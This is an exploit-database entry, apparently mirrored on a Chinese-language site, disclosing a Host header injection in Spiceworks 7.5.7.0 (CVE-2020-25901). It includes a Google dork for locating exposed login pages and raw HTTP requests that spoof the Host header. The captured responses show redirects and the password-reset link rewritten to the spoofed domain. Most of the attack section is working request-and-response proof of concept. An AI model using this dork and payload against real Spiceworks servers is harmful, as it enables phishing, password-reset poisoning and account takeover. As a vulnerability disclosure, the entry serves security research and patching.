发布 2020-12-21 漏洞条目

Spiceworks 7.5 – HTTP Header Injection

Exploit Source

# Exploit Title: Spiceworks 7.5 - HTTP Header Injection

# Google Dork: inurl:/pro_users/login

# Discovered Date: 15/09/2020

# Exploit Author: Ramikan

# Vendor Homepage: https://www.spiceworks.com

# Affected Version: 7.5.7.0 may be others.

# Tested On Version: 7.5.7.0

# CVE : CVE-2020-25901

Vulnerability: Host Header Injection

Description:

Host Header Injection vulnerability may allow an attacker to spoof a particular Host header, allowing the attacker to render arbitrary links that point to a malicious website with poisoned Host header webpages.

An issue was discovered in Spiceworks version 7.5.7.0 (may be affected on other versions too). The values of the 'Host' headers are implicitly set as trusted while this should be forbidden, leading to potential host header injection attack and also the affected hosts can be used for domain fronting. This means affected hosts can be used by attackers to hide behind during various other attack.

Request:

GET / HTTP/1.1

Host: google.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Cookie: spiceworks_session=BAh7CjoPc2Vzc2lvbl9pZEkiJTU4NDg1MzhlMTAzNGEyMGNlZTRiYzI4YmZlNGVlNDljBjoGRUY6DnJldHVybl90byIGLzoQX2NzcmZfdG9rZW5JIjFyK3NZd3F4ZHpPSkFWNlhTb1ZhWVE0SE9iZzV1VGZIRmp0dURnM1ptSDlrPQY7BkZJIgpmbGFzaAY7BlRJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoedXNlcl9pbnZpdGF0aW9uLnJldHVybl90byISL3dpemFyZC9zdGFydA%3D%3D--d7fabb212c9a1e683b384a24728f72fdaeffbc78; compatibility_test=testing; _gk=%7B%22t%22%3A%7B%7D%2C%22p%22%3A%7B%22cg_allow_st%22%3A%22%5B%5D%22%2C%22uuid%22%3A%22b7f707b6-f574-44bb-a766-986fc5851a03%22%7D%2C%22ab%22%3A%7B%7D%7D; opt_out=zdc; euconsent=BO3ulHHO3ulQVASABAENDWAAAAAyOAAA; _evidon_suppress_notification_cookie={"date":"\"2020-09-15T12:20:47Z\""}

Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 302 Found

Date: Tue, 15 Sep 2020 12:46:52 GMT

Cache-Control: no-cache

X-Runtime: 0

Set-Cookie: spiceworks_session=BAh7CjoPc2Vzc2lvbl9pZEkiJTU4NDg1MzhlMTAzNGEyMGNlZTRiYzI4YmZlNGVlNDljBjoGRUY6DnJldHVybl90byIGLzoQX2NzcmZfdG9rZW5JIjFyK3NZd3F4ZHpPSkFWNlhTb1ZhWVE0SE9iZzV1VGZIRmp0dURnM1ptSDlrPQY7BkZJIgpmbGFzaAY7BlRJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoedXNlcl9pbnZpdGF0aW9uLnJldHVybl90byISL3dpemFyZC9zdGFydA%3D%3D--d7fabb212c9a1e683b384a24728f72fdaeffbc78; path=/; HttpOnly

Location: http://google.com/pro_users/login

Content-Length: 99

Connection: close

Content-Type: text/html; charset=utf-8

<html><body>You are being <a href="http://google.com/pro_users/login">redirected</a>.</body></html>

Request:2

GET /pro_users/login HTTP/1.1

Host: google.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Response:2 (Forgot your password)Link replaced with domain in the header.

HTTP/1.1 200 OK

Date: Tue, 15 Sep 2020 12:48:26 GMT

Cache-Control: private, max-age=0, must-revalidate

X-UA-Compatible: IE=edge,chrome=1

X-Runtime: 0

ETag: "77c8f98180ec3f6d4f2fcc8dcd796462"

Set-Cookie: compatibility_test=testing; path=/

Content-Length: 9875

Connection: close

Content-Type: text/html; charset=utf-8

<!DOCTYPE html>

<head>

<title>Spiceworks</title>

</noscript>

//<![CDATA[

var _gaq = _gaq || [];

_gaq.push(['_setAccount', 'UA-314222-21']);

_gaq.push(['_setDomainName', 'none']);

_gaq.push(['_setAllowLinker', true]);

_gaq.push(['_trackPageview']);

_gaq.push(['_setCustomVar', 1, '_v', '7.5.00070', 3]);

_gaq.push(['_setCustomVar', 2, '_d', 'xl', 3]);

_gaq.push(['_setCustomVar', 3, '_u', '2', 3]);

_gaq.push(['_setCustomVar', 4, '_ul', 'anonymous', 2]);

_gaq.push(['_setCustomVar', 5, '_m', 'anonymous', 2]);

(function() {

var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;

ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';

var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);

})();

//]]>

</script>

//<![CDATA[

SPICEWORKS.ready(function(){ SPICEWORKS.fire('app:ready'); });

document.observe('dom:loaded', function(){ SPICEWORKS.fire('ready'); });

//]]>

</script>

//<![CDATA[

(function($){

$(document).ready(function(){

$('#flash-notice-message').delay(9000).slideUp(300);

});

})(jQuery);

//]]>

</script>

//<![CDATA[

var gekko = gekko || {};

gekko.cmd = gekko.cmd || [];

gekko.times = gekko.times || [];

gekko.times.push({ gekkoRequest: new Date().getTime() });

gekko.client = gekko.client || {};

gekko.client.app = {

'id': 'SWD',

'env': 'p',

'version': '7.5.00070'

};

gekko.client.user = {};

gekko.client.user.uuid = 'b7f707b6-f574-44bb-a766-986fc5851a03';

//]]>

</script>

//<![CDATA[

gekko.cmd.push({cmd: function() { gekko.setAnalytics('_v', '7.5.00070'); }, important: true});

//]]>

</script>

var SWUFR = SWUFR || {};

SWUFR.cmd = SWUFR.cmd || [];

</script>

SWUFR.cmd.push(function() {

SWUFR.ufr.installed()

});

</script>

</head>

<body class="left-register login-desktop sui-opt-in no-ie desktop">

</div>

</nav>

</header>

<!--[if lte IE 9]>

<div class="modal hide has-footer-in-body" data-backdrop="true" data-isdraggable="false" data-keyboard="false" id="install_chrome_frame"><div class="modal-header"> <h3>I'm gonna have to go ahead and ask you to use a different browser.</h3></div><div class="modal-body">

<p style="padding-top:10px; font-size:13px">Yeaaaah… what's happening? </p>

<p>We went ahead and stopped supporting Internet Explorer 9 and older in the Spiceworks app (IE10+ is now required), so if you could just go ahead and upgrade IE, that would be great… </p>

<p style="padding-top:10px; font-size:11px; color: #AAA;">(Doesn't take long to install, and makes Spiceworks so much faster!)</p>

</div>

Whoops, looks like you might have gotten stuck.

</strong>

</h4>

</div>

<a class="sui-bttn ieUpgrade" href="https://www.exploit-db.com/exploits/49299/#" id="ieUpgrade" onclick=" upgradeIE(); ; return false;">Upgrade Internet Explorer</a>

</div>

</div></div>

//<![CDATA[

jQuery(function(){

SPICEWORKS.stats.record("chrome_frame_prompt_shown", {category: 'unsupported_ie'});

jQuery('#install_chrome_frame').modal();

})

function upgradeIE(){

SPICEWORKS.stats.record("installed_newer_ie", {category: 'unsupported_ie'});

window.location.href = "http://windows.microsoft.com/en-US/internet-explorer/download-ie";

}

//]]>

</script> <![endif] -->

<h1>Spiceworks is ready to rock!</h1>

<p>Please enter your login credentials.</p>

</div>

</div><div class="main">

</div>

<div class=" control-group"><label for="pro_user_email">Email</label><div class="controls"><input id="pro_user_email" label="Email" name="pro_user[email]" size="30" type="text" /><span class="help-inline"></span></div></div>

<div class=" control-group"><label for="pro_user_password">Password</label><div class="controls"><input id="pro_user_password" label="Password" name="pro_user[password]" size="30" type="password" /><span class="help-inline"></span></div></div>

<a href="http://google.com/wizard/password/new" class="forgot-password">Forgot your password?</a>

</div>

Stay logged in

</label>

</div></div>

</div></div>

</form>

</div></div></div>

</div>

<hr/>

</span>

<p>

<a href="https://www.spiceworks.com/about/">About</a> •

<a href="https://www.spiceworks.com/privacy/">Privacy</a> •

<a href="https://www.spiceworks.com/terms/">Terms</a> •

</p>

</span>

</div>

</body>

</html>

作者: Ramikan
日期: 2020-12-21
类别: webapps
平台: windows

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection